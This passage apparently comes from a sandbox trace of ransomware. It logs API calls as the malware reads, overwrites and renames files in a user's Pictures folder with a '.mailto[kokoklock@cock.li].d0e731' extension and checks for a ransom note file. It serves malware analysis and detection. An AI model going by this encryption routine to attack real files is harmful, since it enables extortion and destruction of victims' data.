out: lpNewFilePointer=0x0) returned 1 [0065.847] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf93f7a0, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf93f7a0*=0x4096, lpOverlapped=0x0) returned 1 [0065.847] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.847] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0065.847] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.848] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34beaa0 [0065.848] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0065.848] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be8e8) returned 1 [0065.848] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.848] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.848] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf93f7a0, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf93f7a0*=0x4096, lpOverlapped=0x0) returned 1 [0065.848] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.848] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x15103, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.848] WriteFile (in: hFile=0x7c8, lpBuffer=0x34beaa0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf93f7d8, lpOverlapped=0x0 | out: lpBuffer=0x34beaa0*, lpNumberOfBytesWritten=0xf93f7d8*=0x20, lpOverlapped=0x0) returned 1 [0065.848] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34beaa0) returned 1 [0065.848] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.848] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf93f7ec, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xf93f7ec*=0x8, lpOverlapped=0x0) returned 1 [0065.848] WriteFile (in: hFile=0x7c8, lpBuffer=0xf93f804*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf93f7ec, lpOverlapped=0x0 | out: lpBuffer=0xf93f804*, lpNumberOfBytesWritten=0xf93f7ec*=0x4, lpOverlapped=0x0) returned 1 [0065.849] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf93f7ec, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf93f7ec*=0x4, lpOverlapped=0x0) returned 1 [0065.849] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf93f7ec, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf93f7ec*=0x6c, lpOverlapped=0x0) returned 1 [0065.849] WriteFile (in: hFile=0x7c8, lpBuffer=0x34bea00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf93f7ec, lpOverlapped=0x0 | out: lpBuffer=0x34bea00*, lpNumberOfBytesWritten=0xf93f7ec*=0x20, lpOverlapped=0x0) returned 1 [0065.849] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf93f7ec, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf93f7ec*=0x4, lpOverlapped=0x0) returned 1 [0065.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea00) returned 1 [0065.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be910) returned 1 [0065.849] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0065.849] CloseHandle (hObject=0x7c8) returned 1 [0065.851] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x96) returned 0x33eb270 [0065.851] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif") returned="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif" [0065.851] wcscat (in: _Dest=0x33eb270, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731" [0065.852] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\gawe9dnsijd4.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\gawe9dnsijd4.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.853] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0065.854] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\GaWE9dNSiJD4.gif", dwFileAttributes=0x20) returned 0 [0065.854] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3482038 [0065.854] wcscpy (in: _Dest=0x3482038, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.854] wcscat (in: _Dest=0x3482038, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.854] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3482038) returned 1 [0065.854] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0065.854] RtlExitUserThread (Status=0x1) Thread: id = 343 os_tid = 0x13d4 [0065.855] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ih7lmh9xwm.gif")) returned 0x20 [0065.855] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif", dwFileAttributes=0x20) returned 1 [0065.855] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ih7lmh9xwm.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.856] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xf9bfaf0 | out: lpFileSize=0xf9bfaf0*=68327) returned 1 [0065.856] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x10ae3, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.856] ReadFile (in: hFile=0x7c8, lpBuffer=0xf9bfac4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xf9bfac0, lpOverlapped=0x0 | out: lpBuffer=0xf9bfac4*, lpNumberOfBytesRead=0xf9bfac0*=0x4, lpOverlapped=0x0) returned 1 [0065.856] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.856] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0065.856] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea00 [0065.856] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34beaa0 [0065.856] NtQuerySystemTime (in: CurrentTime=0xf9bfa9c | out: CurrentTime=0xf9bfa9c*=132121176237527882) returned 0x0 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0xdac03c27 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x34d82601 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x1b66de49 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0xa9aff96f [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0xaa16d8d7 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x1b5bcf62 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x34123c19 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x5040ebd3 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x4b86a9d8 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x6e441338 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0xae26d5ea [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x1b8bb9d3 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x10d85b22 [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x3319380d [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x9955f7eb [0065.856] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x86a5a556 [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x189a4ca4 [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x5bcc8be0 [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x3a07545c [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0xdad1ba7f [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0xf63eb78 [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0xe8fdcd29 [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x534ae2ab [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x7950b6d0 [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x91ec15ed [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0xe0b196ff [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x1768a0b0 [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x737d95e0 [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x28e07d [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0xe251e595 [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0x82b5ef1e [0065.857] RtlRandom (in: Seed=0xf9bfaa8 | out: Seed=0xf9bfaa8) returned 0xe9d2d329 [0065.868] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.868] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xf9bfa74, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xf9bfa74*=0x4096, lpOverlapped=0x0) returned 1 [0065.868] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.868] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.868] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.868] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.868] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0065.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be820 [0065.869] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.869] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0065.869] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.869] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.869] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xf9bfa74, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xf9bfa74*=0x4096, lpOverlapped=0x0) returned 1 [0065.869] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.869] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x10ae7, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.869] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be820*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf9bfaac, lpOverlapped=0x0 | out: lpBuffer=0x34be820*, lpNumberOfBytesWritten=0xf9bfaac*=0x20, lpOverlapped=0x0) returned 1 [0065.870] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be820) returned 1 [0065.870] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3475830) returned 1 [0065.870] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be870*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xf9bfac0, lpOverlapped=0x0 | out: lpBuffer=0x34be870*, lpNumberOfBytesWritten=0xf9bfac0*=0x8, lpOverlapped=0x0) returned 1 [0065.870] WriteFile (in: hFile=0x7c8, lpBuffer=0xf9bfad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf9bfac0, lpOverlapped=0x0 | out: lpBuffer=0xf9bfad8*, lpNumberOfBytesWritten=0xf9bfac0*=0x4, lpOverlapped=0x0) returned 1 [0065.870] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf9bfac0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0xf9bfac0*=0x4, lpOverlapped=0x0) returned 1 [0065.870] WriteFile (in: hFile=0x7c8, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xf9bfac0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0xf9bfac0*=0x6c, lpOverlapped=0x0) returned 1 [0065.870] WriteFile (in: hFile=0x7c8, lpBuffer=0x34bea00*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xf9bfac0, lpOverlapped=0x0 | out: lpBuffer=0x34bea00*, lpNumberOfBytesWritten=0xf9bfac0*=0x20, lpOverlapped=0x0) returned 1 [0065.870] WriteFile (in: hFile=0x7c8, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xf9bfac0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0xf9bfac0*=0x4, lpOverlapped=0x0) returned 1 [0065.870] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34bea00) returned 1 [0065.870] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be910) returned 1 [0065.870] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be870) returned 1 [0065.870] CloseHandle (hObject=0x7c8) returned 1 [0065.873] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x92) returned 0x33eb270 [0065.873] wcscpy (in: _Dest=0x33eb270, _Source="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif") returned="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif" [0065.873] wcscat (in: _Dest=0x33eb270, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731") returned="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731" [0065.873] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif" (normalized: "c:\\users\\fd1hvy\\pictures\\ih7lmh9xwm.gif"), lpNewFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\users\\fd1hvy\\pictures\\ih7lmh9xwm.gif.mailto[kokoklock@cock.li].d0e731")) returned 1 [0065.874] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0065.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33eb270) returned 1 [0065.874] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\IH7LMh9XWm.gif", dwFileAttributes=0x20) returned 0 [0065.874] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x58) returned 0x3481f78 [0065.874] wcscpy (in: _Dest=0x3481f78, _Source="C:\\Users\\FD1HVy\\Pictures\\" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\") returned="C:\\Users\\FD1HVy\\Pictures\\" [0065.874] wcscat (in: _Dest=0x3481f78, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt") returned="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" [0065.874] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\D0E731-Readme.txt" (normalized: "c:\\users\\fd1hvy\\pictures\\d0e731-readme.txt")) returned 0x20 [0065.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3481f78) returned 1 [0065.874] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3430b78) returned 1 [0065.874] RtlExitUserThread (Status=0x1) Thread: id = 344 os_tid = 0x13d8 [0065.876] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ju6o1ufyfqyhfg1.bmp")) returned 0x20 [0065.876] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp", dwFileAttributes=0x20) returned 1 [0065.876] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Pictures\\JU6O1UFyFQyHFg1.bmp" (normalized: "c:\\users\\fd1hvy\\pictures\\ju6o1ufyfqyhfg1.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x7c8 [0065.876] GetFileSizeEx (in: hFile=0x7c8, lpFileSize=0xfa3fb88 | out: lpFileSize=0xfa3fb88*=17204) returned 1 [0065.876] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x4330, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.876] ReadFile (in: hFile=0x7c8, lpBuffer=0xfa3fb5c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xfa3fb58, lpOverlapped=0x0 | out: lpBuffer=0xfa3fb5c*, lpNumberOfBytesRead=0xfa3fb58*=0x4, lpOverlapped=0x0) returned 1 [0065.877] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.877] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be8e8 [0065.877] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34bea00 [0065.877] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be820 [0065.877] NtQuerySystemTime (in: CurrentTime=0xfa3fb34 | out: CurrentTime=0xfa3fb34*=132121176237684084) returned 0x0 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x3bd8e7bc [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0xfd66a994 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x6e204967 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x96c73aa7 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x31e783bf [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0xb876ca18 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x1a261882 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0xc9b9132 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0xd82f29b5 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x66ca43b [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x5c1cbea9 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x5c2d8dd6 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x9bd6b56d [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0xf62e631a [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x7b020aee [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x78b91be7 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0xa662f98b [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x28067a32 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0xf0b6ab57 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x5389dedb [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0xb9ae253e [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0xaeb994de [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x13863dba [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0xd97265d7 [0065.877] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x87152748 [0065.878] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0xed7565f5 [0065.878] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x5d8b46d0 [0065.878] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x1bc58e1e [0065.878] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x6b23e533 [0065.878] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x5c3f2e28 [0065.878] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x500f8e04 [0065.878] RtlRandom (in: Seed=0xfa3fb40 | out: Seed=0xfa3fb40) returned 0x8dd804d4 [0065.889] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.889] ReadFile (in: hFile=0x7c8, lpBuffer=0x3475830, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xfa3fb0c, lpOverlapped=0x0 | out: lpBuffer=0x3475830*, lpNumberOfBytesRead=0xfa3fb0c*=0x4096, lpOverlapped=0x0) returned 1 [0065.889] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.889] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fcff8 [0065.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x347a000 [0065.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be960 [0065.890] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be960) returned 1 [0065.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x55b0048 [0065.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be848 [0065.890] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34be938 [0065.890] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be938) returned 1 [0065.890] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347a000) returned 1 [0065.890] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fcff8) returned 1 [0065.890] WriteFile (in: hFile=0x7c8, lpBuffer=0x55b0048*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xfa3fb0c, lpOverlapped=0x0 | out: lpBuffer=0x55b0048*, lpNumberOfBytesWritten=0xfa3fb0c*=0x4096, lpOverlapped=0x0) returned 1 [0065.891] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x55b0048) returned 1 [0065.891] SetFilePointerEx (in: hFile=0x7c8, liDistanceToMove=0x4334, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0065.891] WriteFile (in: hFile=0x7c8, lpBuffer=0x34be848*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xfa3fb44, lpOverlapped=0x0 | out: lpBuffer=0x34be848*, lpNumberOfBytesWritten=0xfa3fb44*=0x20, lpOverlapped=0x0) returned 1 [0065.894] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34be848) returned 1 